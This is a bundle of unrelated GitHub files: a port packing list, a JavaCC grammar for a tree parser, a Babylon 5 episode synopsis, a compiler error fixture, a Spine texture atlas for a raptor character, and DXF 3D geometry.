%%PORTDOCS%%%%DOCSDIR%%/html/smc.html %%PORTDOCS%%%%DOCSDIR%%/html/sp65.html %%PORTDOCS%%%%DOCSDIR%%/html/supervision.html %%PORTDOCS%%%%DOCSDIR%%/html/telestrat.html %%PORTDOCS%%%%DOCSDIR%%/html/tgi.html %%PORTDOCS%%%%DOCSDIR%%/html/using-make.html %%PORTDOCS%%%%DOCSDIR%%/html/vic20.html %%PORTDOCS%%%%DOCSDIR%%/README.md %%PORTEXAMPLES%%%%EXAMPLESDIR%%/Makefile %%PORTEXAMPLES%%%%EXAMPLESDIR%%/Makefile.bak %%PORTEXAMPLES%%%%EXAMPLESDIR%%/README %%PORTEXAMPLES%%%%EXAMPLESDIR%%/ascii.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/atari2600hello.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/diodemo.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/enumdevdir.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/fire.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/bitmap-demo.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/bitmap-demores.grc %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/dialog.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/filesel.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/fileselres.grc %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/geosconio.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/geosconiores.grc %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/geosver.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/geosverres.grc %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/getid.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/getidres.grc %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/grphstr.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/hello1.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/hello1res.grc %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/hello2.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/hello2res.grc %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/inittab.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/logo.pcx %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/menu.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/overlay-demo.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/overlay-demores.grc %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/rmvprot.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/rmvprotres.grc %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/vector-demo.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/vector-demores.grc %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/yesno.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/geos/yesnores.grc %%PORTEXAMPLES%%%%EXAMPLESDIR%%/gunzip65.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/hello.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/mandelbrot.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/mousedemo.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/multidemo.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/nachtm.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/overlaydemo.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/plasma.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/sieve.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/tgidemo.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/tutorial/hello.c %%PORTEXAMPLES%%%%EXAMPLESDIR%%/tutorial/text.s
{ "pile_set_name": "Github" }
options { LOOKAHEAD = 5; CHOICE_AMBIGUITY_CHECK = 2; OTHER_AMBIGUITY_CHECK = 1; STATIC = false; DEBUG_PARSER = false; DEBUG_LOOKAHEAD = false; DEBUG_TOKEN_MANAGER = false; ERROR_REPORTING = true; JAVA_UNICODE_ESCAPE = false; UNICODE_INPUT = false; IGNORE_CASE = false; USER_TOKEN_MANAGER = false; USER_CHAR_STREAM = false; BUILD_PARSER = true; BUILD_TOKEN_MANAGER = true; SANITY_CHECK = true; FORCE_LA_CHECK = false; } PARSER_BEGIN(LTAGTreeParser) package org.dllearner.algorithm.tbsl.ltag.reader; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import org.dllearner.algorithm.tbsl.ltag.data.*; import org.dllearner.algorithm.tbsl.ltag.agreement.*; public class LTAGTreeParser { /** Main entry point. */ public static void main(String args[]) throws ParseException { LTAGTreeParser parser = new LTAGTreeParser(System.in); parser.Input(); } } PARSER_END(LTAGTreeParser) /** Root production. */ void Input() : {} { Tree() <EOF> } /** Tree */ TreeNode Tree() : { Category category; String terminal = ""; List<TreeNode> treelist; Token word; Feature feature = null; } { // SubstNode with case constraints (e.g. DP[subj]|nom) category = Cat() "[" word=<WORD> "]" ("{" feature=Feat() "}")? { SubstNode substnode = new SubstNode(word.toString(),category,feature); return substnode; } | // FootNode (e.g. S*) category = Cat() "*" { FootNode footnode = new FootNode(category); return footnode; } | // FootNode with no adjunction allowed (e.g. ^S*) "^" category = Cat() "*" { FootNode footnode = new FootNode(category); footnode.setAdjConstraint(true); return footnode; } | // TreeNode which has case feature marked (e.g. (S|nom ...)) "(" category = Cat() ("{" feature=Feat() "}")? treelist=TreeList() ")" { TreeNode tree = new Tree(); tree.setCategory(category); tree.setChildren(treelist); tree.setParentForTree(); tree.setFeature(feature); return tree; } | // TreeNode with no case feature an no adjunction allowed (e.g. (^S DP...)) "(" "^" category = Cat() treelist=TreeList() ")" { TreeNode tree = new Tree(); tree.setCategory(category); tree.setChildren(treelist); tree.setParentForTree(); tree.setAdjConstraint(true); return tree; } | // TerminalNode with case feature (e.g. N|nom:'house') category = Cat() ("{" feature=Feat() "}")? ":" "'" (terminal = Terminal())? "'" { TerminalNode node = new TerminalNode(terminal, category); node.setCategory(category); node.setFeature(feature); return node; } } String Terminal() : { Token word; String terminal=null; } { word = <WORD> (terminal=Terminal())? { if (terminal != null) return word.toString() + " " + terminal; return word.toString(); } } List<TreeNode> TreeList() : { List<TreeNode> treelist = null; TreeNode tree; } { tree = Tree() (treelist=TreeList())? { if (treelist == null) { treelist = new ArrayList<TreeNode>(); } treelist.add(0,tree); return treelist; } } Category Cat() : { Token cat; } { cat=<CATEGORY> { if (cat.toString().equals("DP")) return Category.DP; if (cat.toString().equals("NP")) return Category.NP; if (cat.toString().equals("N")) return Category.N; if (cat.toString().equals("S")) return Category.S; if (cat.toString().equals("V")) return Category.V; if (cat.toString().equals("P")) return Category.P; if (cat.toString().equals("VP")) return Category.VP; if (cat.toString().equals("PP")) return Category.PP; if (cat.toString().equals("DET")) return Category.DET; if (cat.toString().equals("WH")) return Category.WH; if (cat.toString().equals("ADV")) return Category.ADV; if (cat.toString().equals("ADJ")) return Category.ADJ; if (cat.toString().equals("ADJCOMP")) return Category.ADJCOMP; if (cat.toString().equals("PART")) return Category.PART; if (cat.toString().equals("PUNCT")) return Category.PUNCT; if (cat.toString().equals("CC")) return Category.CC; if (cat.toString().equals("EX")) return Category.EX; if (cat.toString().equals("NUM")) return Category.NUM; if (cat.toString().equals("C")) return Category.C; if (cat.toString().equals("NEG")) return Category.NEG; } } Feature Feat() : { Token raw; } { raw=<WORD> { return Feature.construct(raw.toString()); } } TOKEN: {<WORD: (["a"-"z"]|["0"-"9"]|["?"]|["-"]|["_"]|["!"]|[","]|[";"]|["."]|[":"]|["/"])+>} TOKEN: {<CATEGORY: (["A"-"Z"])+>} SKIP : { " " | "\t" | "\n" | "\r" }
{ "pile_set_name": "Github" }
<h3>Synopsis by Arturo Magidin (magidin@math.berkeley.edu)</h3> <P> Lochley is walking down a corridor when she is joined by Delenn. Delenn tells her that she has spoken to Sheridan and is now aware of the full reason Sheridan chose Lochley to command Babylon 5. Delenn also wants to tell the Captain that she approves of the decision. Lochley is glad to hear it, but asks Delenn to keep quiet about it; others may not be so understanding. But unbeknownst to either of them, Garibaldi has overheard the conversation. <P> Meanwhile, Londo is in the observation deck, looking at a recently arrived Centauri liner. Zack comes in to inform him of its arrival: it is to take Londo to Centauri Prime. Londo explains that with the Regent's health failing, Londo must spend as much time as possible at his side. And once the Regent dies, the Centarum will make him Emperor, and he will never again be able to come to Babylon 5, save for the occasional state visit. He is not happy about this prospect, much to his surprise. <P> In the docking bay, a transport malfunctions and smashes against the pressure doors and explodes. The explosion closes down the docking bay for 11 hours. This does not stop a Psi Corps shuttle, which is in a priority mission and is allowed to dock through the emergency air doors. <P> In MedLab, Lyta is ransacking through some containers when she is surprised by Dr. Franklin. She is taking medicines and vitamins to the telepaths downbelow; not because they asked her, she explains, but out of her own initiative. Franklin says they should come themselves, but Lyta explains that some have been subjected to medical experiments by the Psi Corps and do not trust doctors. Franklin lets her take what she needs. "Next time you need something, just ask!" he tells her as she leaves. Later, when Lyta is giving the supplies to Byron, they all sense the arrival of the Psi Cops: Bloodhound units led by Bester. <P> Garibaldi is hanging out in Zack's office when a security guard comes in to inform Zack of Bester's arrival. Garibaldi rushes out and runs to Lochley's office, where he finds Bester and the Captain chatting over a cup of coffee. When he tries to get at Bester, Lochley stops him, first interposing herself, then slugging him, and finally having Garibaldi taken to the brig; Bester watches bemused. <P> In MedLab, Delenn and G'Kar ask Franklin to put together the definitive work on cross-species infections. The field is still in its infancy, but it is very important to the Alliance and its goal of interspecies relations. He is to go to member worlds, who are obligated under the terms of the Alliance to share medical data, and do first hand research. Although it means spending less time in MedLab and delegating some responsibility, Franklin is delighted and agrees. <P> Lochley arrives at Sheridan's office. Sheridan heard about the incident with Garibaldi and he reminds Lochley that Bester reprogrammed Garibaldi and almost got him and Sheridan killed (<a href="../guide/083.html">"The Face of the Enemy"</a>). Lochley is well aware of this, having read the reports from both sides, but explains that the telepaths are wanted by the Psi Corps on numerous charges. Since the Interstellar Alliance grants sovereignty to member worlds, and the Psi Corps is part of the Earth Government, they have a right to take the telepaths under custody. Since Bester has not broken any rules, she must oblige him. If Bester breaks the rules, she promises, she will throw him out; but until then, she has to deal with it her own way. Sheridan reluctantly backs down, but orders Lochley to find a way to prevent the telepaths from being taken away, without compromising the policies of the Alliance. <P> The Centauri liner cannot wait for the repairs to the docking bay to be completed, and gets ready to depart without Londo. When they set their navigational beacon to Centauri Prime, the liner explodes. Later, Zack explains to Lochley that they found traces of explosives in the debris. The liner was sabotaged and set to explode when it returned to Centauri Prime; all the evidence points to an attempt to assassinate Londo. He then gives his security reports to Lochley, who discovers that Garibaldi accessed her classified personnel file; she angrily goes to see Garibaldi. <P> Meanwhile, Bester and the Bloodhound teeps are walking through Brown sector when they are met by Lyta. She is jamming them, and uses her Vorlon-augmented powers to stop them. Rather than force the issue now, Bester retreats; he will come back later with a dozen security guards, too much for Lyta to handle by herself. And if the rogue telepaths scatter, she won't be able to shield them from the Bloodhounds. Lyta goes back to Byron and advises him to scatter and hide. <P> Lochley enters the brig and confronts Garibaldi. She wants to know why he has been riding her so hard. "I don't know you," he answers, "so I don't trust you." "The world is full of people you don't know!" she counters, to which he replies, "I worry about that all the time." He wants to know why she was so friendly with Bester, and why she was chosen to command Babylon 5. The first question she answers readily: she was once stationed at an Earth Force Base where a rogue telepath killed some of her people; Bester tracked him down and saved two others. Although she neither likes him nor trusts him, he has played by the rules with her and she is obligated to reciprocate. <P> The second question is more difficult, and she asks Garibaldi to keep it between them. Sheridan wanted a symbol, someone who was on the other side during the Civil War; but also someone he could trust, someone who wouldn't stab him in the back. Someone who would argue with him, but back him up when he was right. Lochley was the perfect choice: She and Sheridan were married for three months after Officer Training School. The marriage fell apart because they both wanted to be in control all the time. Although it was over a long time ago, they trust each other. <P> Garibaldi is highly amused at the situation, and figures he can go now; but Lochley won't let him go until Bester leaves. "It's not that I don't trust you," she explains, "but I don't... trust you." She then receives a call from Zack: Bester got EarthDome to request security guards to help him track the rogue telepaths, and they can't refuse him. Lochley leaves, with Garibaldi still in the brig. <P> Security guards and Bloodhound teeps run down Byron's telepaths one by one. Finally, Byron realizes all is lost, and lets himself be found. He hopes Lyta will carry on his dream for telepaths. Byron is taken and beaten by the Bloodhounds. <P> At the staff meeting, Corwin informs Lochley that the docking bay is clear; Zack says Bester will be done rounding up the telepaths within a day at most, and that he has not broken any regulations. Lochley has no reason to stop Bester, or to prevent him from taking the telepaths. When the meeting adjourns, Franklin approaches her to let her know of Delenn's offer. Since it means he will be taking time off MedLab, he wanted to let Lochley know. Lochley is happy for him and assures him it won't be a problem, but she is struck by the idea of cross-species infections. She asks Franklin to give her everything in writing within half an hour. <P> Delenn and G'Kar are talking in Delenn's quarters. G'Kar had expressed a desire to do even more for the Alliance. Delenn is worried about losing the Centauri from the Alliance, so she needs to make sure nothing happens to Londo. She suggests that G'Kar should go as his bodyguard. At first, G'Kar is horrified at the idea; but Delenn points out first, how strong a symbol of the ideals of the Alliance this would be, and second, that it would mean G'Kar would be at the Royal Court in Centauri Prime and in all important occasions, guarding Londo. It is this last argument that wins G'Kar over: "A Narn in the Centauri Royal Court?" he laughs. "I accept, if only to see their faces!" <P> When Bester is preparing to leave with his prisoners, Lochley comes in and informs him there is a problem: according to Earth Alliance regulations, since the telepaths have been traveling so much in alien space, they must be put under quarantine for sixty days, to make sure they are not carrying any unidentified viruses. Those are the rules. Bester can't take Byron's people... yet. Although annoyed, Bester realizes there is little to be done, and he hopes his cooperation will cement a good working relationship with Lochley. He does, however, extract a promise from Lochley that the telepaths are to stay on Babylon 5 until he comes back for them. Bester issues a warning: "Just keep an eye on them, Captain. Don't trust them for a second, because sooner or later they will turn on you." He addresses Byron. "You know all about <em>that,</em> don't you, Byron?" With that, he leaves. <P> Lochley then lets Byron and his people out of custody; however, they are not to leave Babylon 5, and she has only postponed the showdown. Byron thanks her nonetheless. <P> As Londo is leaving for Centauri Prime, he is joined by Delenn who informs him of the arrangements she has made for his security. Londo is not pleased, but agrees. He is then joined by G'Kar, and the two leave for the transport, bickering about who will get the aisle seat on the flight. <P> Corwin joins Lochley as she is finishing dinner. He wants to congratulate her on her handling of the telepath situation. She is worried, though; "I get this nagging suspicion that maybe Bester was right, this thing will blow up in our face. It worries me," she confides. "I also have this nagging feeling that I'm forgetting something..." After Corwin leaves, she realizes what she has forgotten: she calls security to tell them to let Garibaldi, who can be heard yelling in the background, out of the brig. <P> The telepaths are singing together in a candlelit room. When Lyta comes in, she takes off the Psi Corps shield, and Byron joins her smiling and welcomes her to the middle of the singing group.
{ "pile_set_name": "Github" }
# Unformatted Error Output: # File "tests/__tests__/refmterr/__fixtures__/file_SyntaxError/file_SyntaxError_5.ml", line 4, characters 0-4: # Error: Syntax error  ERROR  tests/__tests__/refmterr/__fixtures__/file_SyntaxError/file_SyntaxError_5.ml:4 0-4 1 ┆ let () = if true then 2 ┆  print_endline "gosh"; 3 ┆  print_endline "so much functional purity" 4 ┆ else 5 ┆  print_endline "that I cant even" This is a syntax error. Did you happen to have put a semicolon on the line before else? Also, `then` accepts a single expression. If you've put many, wrap them in parentheses. Note: the location indicated might not be accurate.
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>root</title> </head> <body> </body> </html>
{ "pile_set_name": "Github" }
6 4 4 8 4 0 4 2 0 4 0 0 2 0 2 0 4 0 0 0 2 6 0 0 6 6 0 4 4 0 4 8 0 2 2 0 2 0 6 2 6 4 2 4 2 6 0 2 2 8 0 2 2 6 4 8 4 6 6 4 0 0 6 4 2 2 0 2 0 4 0 0 4 0 4 4 4 6 0 2 0 4 8 4 2 6 2 4 6 2 6 2 0 8 6 4 4 2 2 6 4 0 2 2 6 4 6 2 0 0 2 6 6 6 0 0 2 2 4 4 0 0 2 4 2 6 2 4 0 6 2 6 6 2 4 2 2 2 2 0 4 6 0 2 2 4 6 2 4 2 2 6 4 6 0 0 2 0 4 0 0 0 0 4 6 6 2 0 0 4 0 0 6 2 0 2 4 0 0 0 2 0 6 2 0 0 2 0 4 0 4 2 4 0 4 2 4 6 0 0 8 0 0 2 2 0 4 2 6 4 2 4 6 4 2 0 0 4 4 2 2 0 2 4 2 2 0 4 4 0 4 6 6 4 8 2 4 4 0 2 4 0 4 2 2 4 0 4 2 2 4 6 0 0 0 2 4 8 6 4 0 0 2 0 6 4 4 6 6 0 4 6 2 8 8 0 4 2 4 8 4 4 6 0 6 6 2 0
{ "pile_set_name": "Github" }
--- - nzup - nzurx - nzur - nzyt - nzyx - nzy - nzyp - nzyrx - nzyr - sit - six - si - sip - siex - sie - siep - sat - sax - sa - sap - suox - suo - suop - sot - sox - so - sop - sex - se - sep - sut - sux - su - sup - surx - sur - syt - syx - sy - syp - syrx - syr - ssit - ssix - ssi - ssip - ssiex - ssie - ssiep - ssat - ssax - ssa - ssap - ssot - ssox - sso - ssop - ssex - sse - ssep - ssut - ssux - ssu - ssup - ssyt - ssyx - ssy - ssyp - ssyrx - ssyr - zhat - zhax - zha - zhap - zhuox - zhuo - zhuop - zhot - zhox - zho - zhop - zhet - zhex - zhe - zhep - zhut - zhux - zhu - zhup - zhurx - zhur - zhyt - zhyx - zhy - zhyp - zhyrx - zhyr - chat - chax - cha - chap - chuot - chuox - chuo - chuop - chot - chox - cho - chop - chet - chex - che - chep - chux - chu - chup - churx - chur - chyt - chyx - chy - chyp - chyrx - chyr - rrax - rra - rruox - rruo - rrot - rrox - rro - rrop - rret - rrex - rre - rrep - rrut - rrux - rru - rrup - rrurx - rrur - rryt - rryx - rry - rryp - rryrx - rryr - nrat - nrax - nra - nrap - nrox - nro - nrop - nret - nrex - nre - nrep - nrut - nrux - nru - nrup - nrurx - nrur - nryt - nryx - nry - nryp - nryrx - nryr - shat - shax - sha - shap - shuox - shuo - shuop - shot - shox - sho - shop - shet - shex - she - shep - shut - shux - shu - shup - shurx - shur - shyt - shyx - shy - shyp - shyrx - shyr - rat - rax - ra - rap - ruox - ruo - ruop - rot - rox - ro - rop - rex - re - rep - rut - rux - ru - rup - rurx - rur - ryt - ryx - ry - ryp - ryrx - ryr - jit - jix - ji - jip - jiet - jiex - jie - jiep - juot - juox - juo - juop - jot - jox - jo - jop - jut - jux - ju - jup - jurx - jur - jyt - jyx - jy - jyp - jyrx - jyr - qit - qix - qi - qip
{ "pile_set_name": "Github" }
raptor.png size: 1024,512 format: RGBA8888 filter: Linear,Linear repeat: none back-arm rotate: false xy: 895, 295 size: 46, 25 orig: 46, 25 offset: 0, 0 index: -1 back-bracer rotate: true xy: 992, 216 size: 39, 28 orig: 39, 28 offset: 0, 0 index: -1 back-hand rotate: false xy: 594, 58 size: 36, 34 orig: 36, 34 offset: 0, 0 index: -1 back-knee rotate: true xy: 729, 86 size: 49, 67 orig: 49, 67 offset: 0, 0 index: -1 back-thigh rotate: false xy: 379, 2 size: 39, 24 orig: 39, 24 offset: 0, 0 index: -1 eyes-open rotate: true xy: 902, 194 size: 47, 45 orig: 47, 45 offset: 0, 0 index: -1 front-arm rotate: false xy: 945, 306 size: 48, 26 orig: 48, 26 offset: 0, 0 index: -1 front-bracer rotate: false xy: 949, 197 size: 41, 29 orig: 41, 29 offset: 0, 0 index: -1 front-hand rotate: false xy: 949, 266 size: 41, 38 orig: 41, 38 offset: 0, 0 index: -1 front-open-hand rotate: false xy: 875, 148 size: 43, 44 orig: 43, 44 offset: 0, 0 index: -1 front-thigh rotate: true xy: 793, 171 size: 57, 29 orig: 57, 29 offset: 0, 0 index: -1 gun rotate: true xy: 379, 28 size: 107, 103 orig: 107, 103 offset: 0, 0 index: -1 gun-nohand rotate: false xy: 487, 87 size: 105, 102 orig: 105, 102 offset: 0, 0 index: -1 head rotate: false xy: 807, 361 size: 136, 149 orig: 136, 149 offset: 0, 0 index: -1 lower-leg rotate: false xy: 827, 195 size: 73, 98 orig: 73, 98 offset: 0, 0 index: -1 mouth-grind rotate: true xy: 920, 145 size: 47, 30 orig: 47, 30 offset: 0, 0 index: -1 mouth-smile rotate: true xy: 992, 257 size: 47, 30 orig: 47, 30 offset: 0, 0 index: -1 neck rotate: false xy: 359, 114 size: 18, 21 orig: 18, 21 offset: 0, 0 index: -1 raptor-back-arm rotate: false xy: 653, 142 size: 82, 86 orig: 82, 86 offset: 0, 0 index: -1 raptor-body rotate: false xy: 2, 277 size: 632, 233 orig: 632, 233 offset: 0, 0 index: -1 raptor-front-arm rotate: true xy: 484, 4 size: 81, 102 orig: 81, 102 offset: 0, 0 index: -1 raptor-front-leg rotate: false xy: 2, 18 size: 191, 257 orig: 191, 257 offset: 0, 0 index: -1 raptor-hindleg-back rotate: false xy: 636, 295 size: 169, 215 orig: 169, 215 offset: 0, 0 index: -1 raptor-horn rotate: false xy: 195, 22 size: 182, 80 orig: 182, 80 offset: 0, 0 index: -1 raptor-horn-back rotate: true xy: 945, 334 size: 176, 77 orig: 176, 77 offset: 0, 0 index: -1 raptor-jaw rotate: false xy: 359, 137 size: 126, 138 orig: 126, 138 offset: 0, 0 index: -1 raptor-jaw-tooth rotate: true xy: 895, 322 size: 37, 48 orig: 37, 48 offset: 0, 0 index: -1 raptor-mouth-inside rotate: true xy: 949, 228 size: 36, 41 orig: 36, 41 offset: 0, 0 index: -1 raptor-saddle-strap-back rotate: true xy: 653, 86 size: 54, 74 orig: 54, 74 offset: 0, 0 index: -1 raptor-saddle-strap-front rotate: false xy: 594, 94 size: 57, 95 orig: 57, 95 offset: 0, 0 index: -1 raptor-saddle-w-shadow rotate: false xy: 195, 104 size: 162, 171 orig: 162, 171 offset: 0, 0 index: -1 raptor-tail-shadow rotate: false xy: 636, 230 size: 189, 63 orig: 189, 63 offset: 0, 0 index: -1 raptor-tongue rotate: false xy: 807, 295 size: 86, 64 orig: 86, 64 offset: 0, 0 index: -1 stirrup-back rotate: true xy: 952, 151 size: 44, 35 orig: 44, 35 offset: 0, 0 index: -1 stirrup-front rotate: false xy: 902, 243 size: 45, 50 orig: 45, 50 offset: 0, 0 index: -1 stirrup-strap rotate: false xy: 824, 147 size: 49, 46 orig: 49, 46 offset: 0, 0 index: -1 torso rotate: false xy: 737, 137 size: 54, 91 orig: 54, 91 offset: 0, 0 index: -1 visor rotate: false xy: 487, 191 size: 131, 84 orig: 131, 84 offset: 0, 0 index: -1
{ "pile_set_name": "Github" }
0 SECTION 2 ENTITIES 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.011500 30 0.019052 11 -0.019056 21 -0.011500 31 0.011000 12 -0.021996 22 -0.011500 32 -0.000004 13 -0.011004 23 -0.011500 33 0.019052 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.011500 30 0.019052 11 -0.021996 21 -0.011500 31 -0.000004 12 -0.019056 22 -0.011500 32 -0.010996 13 -0.011004 23 -0.011500 33 0.019052 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.011500 30 0.019052 11 -0.019056 21 -0.011500 31 -0.010996 12 -0.011004 22 -0.011500 32 -0.019048 13 -0.011004 23 -0.011500 33 0.019052 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.011500 30 0.019052 11 -0.011004 21 -0.011500 31 -0.019048 12 0.000000 22 -0.011500 32 -0.022000 13 -0.011004 23 -0.011500 33 0.019052 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.011500 30 0.019052 11 0.000000 21 -0.011500 31 -0.022000 12 0.011004 22 -0.011500 32 -0.019048 13 -0.011004 23 -0.011500 33 0.019052 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.011500 30 0.019052 11 0.011004 21 -0.011500 31 -0.019048 12 0.019056 22 -0.011500 32 -0.010996 13 -0.011004 23 -0.011500 33 0.019052 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.011500 30 0.019052 11 0.019056 21 -0.011500 31 -0.010996 12 0.021996 22 -0.011500 32 -0.000004 13 -0.011004 23 -0.011500 33 0.019052 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.011500 30 0.019052 11 0.021996 21 -0.011500 31 -0.000004 12 0.019056 22 -0.011500 32 0.011000 13 -0.011004 23 -0.011500 33 0.019052 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.011500 30 0.019052 11 0.019056 21 -0.011500 31 0.011000 12 0.011004 22 -0.011500 32 0.019052 13 -0.011004 23 -0.011500 33 0.019052 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.011500 30 0.019052 11 0.011004 21 -0.011500 31 0.019052 12 0.000000 22 -0.011500 32 0.022004 13 -0.011004 23 -0.011500 33 0.019052 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 0.000000 21 -0.006004 31 0.022004 12 0.000000 22 -0.011500 32 0.022004 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 0.019052 11 0.000000 21 -0.011500 31 0.022004 12 0.011004 22 -0.011500 32 0.019052 13 0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.019056 20 -0.006004 30 0.011000 11 0.011004 21 -0.006004 31 0.019052 12 0.011004 22 -0.011500 32 0.019052 13 0.019056 23 -0.006004 33 0.011000 0 3DFACE 8 default 62 251 10 0.019056 20 -0.006004 30 0.011000 11 0.011004 21 -0.011500 31 0.019052 12 0.019056 22 -0.011500 32 0.011000 13 0.019056 23 -0.006004 33 0.011000 0 3DFACE 8 default 62 251 10 0.021996 20 -0.006004 30 -0.000004 11 0.019056 21 -0.006004 31 0.011000 12 0.019056 22 -0.011500 32 0.011000 13 0.021996 23 -0.006004 33 -0.000004 0 3DFACE 8 default 62 251 10 0.021996 20 -0.006004 30 -0.000004 11 0.019056 21 -0.011500 31 0.011000 12 0.021996 22 -0.011500 32 -0.000004 13 0.021996 23 -0.006004 33 -0.000004 0 3DFACE 8 default 62 251 10 0.019056 20 -0.006004 30 -0.010996 11 0.021996 21 -0.006004 31 -0.000004 12 0.021996 22 -0.011500 32 -0.000004 13 0.019056 23 -0.006004 33 -0.010996 0 3DFACE 8 default 62 251 10 0.019056 20 -0.006004 30 -0.010996 11 0.021996 21 -0.011500 31 -0.000004 12 0.019056 22 -0.011500 32 -0.010996 13 0.019056 23 -0.006004 33 -0.010996 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 -0.019048 11 0.019056 21 -0.006004 31 -0.010996 12 0.019056 22 -0.011500 32 -0.010996 13 0.011004 23 -0.006004 33 -0.019048 0 3DFACE 8 default 62 251 10 0.011004 20 -0.006004 30 -0.019048 11 0.019056 21 -0.011500 31 -0.010996 12 0.011004 22 -0.011500 32 -0.019048 13 0.011004 23 -0.006004 33 -0.019048 0 3DFACE 8 default 62 251 10 0.000000 20 -0.006004 30 -0.022000 11 0.011004 21 -0.006004 31 -0.019048 12 0.011004 22 -0.011500 32 -0.019048 13 0.000000 23 -0.006004 33 -0.022000 0 3DFACE 8 default 62 251 10 0.000000 20 -0.006004 30 -0.022000 11 0.011004 21 -0.011500 31 -0.019048 12 0.000000 22 -0.011500 32 -0.022000 13 0.000000 23 -0.006004 33 -0.022000 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.006004 30 -0.019048 11 0.000000 21 -0.006004 31 -0.022000 12 0.000000 22 -0.011500 32 -0.022000 13 -0.011004 23 -0.006004 33 -0.019048 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.006004 30 -0.019048 11 0.000000 21 -0.011500 31 -0.022000 12 -0.011004 22 -0.011500 32 -0.019048 13 -0.011004 23 -0.006004 33 -0.019048 0 3DFACE 8 default 62 251 10 -0.019056 20 -0.006004 30 -0.010996 11 -0.011004 21 -0.006004 31 -0.019048 12 -0.011004 22 -0.011500 32 -0.019048 13 -0.019056 23 -0.006004 33 -0.010996 0 3DFACE 8 default 62 251 10 -0.019056 20 -0.006004 30 -0.010996 11 -0.011004 21 -0.011500 31 -0.019048 12 -0.019056 22 -0.011500 32 -0.010996 13 -0.019056 23 -0.006004 33 -0.010996 0 3DFACE 8 default 62 251 10 -0.021996 20 -0.006004 30 -0.000004 11 -0.019056 21 -0.006004 31 -0.010996 12 -0.019056 22 -0.011500 32 -0.010996 13 -0.021996 23 -0.006004 33 -0.000004 0 3DFACE 8 default 62 251 10 -0.021996 20 -0.006004 30 -0.000004 11 -0.019056 21 -0.011500 31 -0.010996 12 -0.021996 22 -0.011500 32 -0.000004 13 -0.021996 23 -0.006004 33 -0.000004 0 3DFACE 8 default 62 251 10 -0.019056 20 -0.006004 30 0.011000 11 -0.021996 21 -0.006004 31 -0.000004 12 -0.021996 22 -0.011500 32 -0.000004 13 -0.019056 23 -0.006004 33 0.011000 0 3DFACE 8 default 62 251 10 -0.019056 20 -0.006004 30 0.011000 11 -0.021996 21 -0.011500 31 -0.000004 12 -0.019056 22 -0.011500 32 0.011000 13 -0.019056 23 -0.006004 33 0.011000 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.006004 30 0.019052 11 -0.019056 21 -0.006004 31 0.011000 12 -0.019056 22 -0.011500 32 0.011000 13 -0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 -0.011004 20 -0.006004 30 0.019052 11 -0.019056 21 -0.011500 31 0.011000 12 -0.011004 22 -0.011500 32 0.019052 13 -0.011004 23 -0.006004 33 0.019052 0 3DFACE 8 default 62 251 10 0.000000 20 -0.006004 30 0.022004 11 -0.011004 21 -0.006004 31 0.019052 12 -0.011004 22 -0.011500 32 0.019052 13 0.000000 23 -0.006004 33 0.022004 0 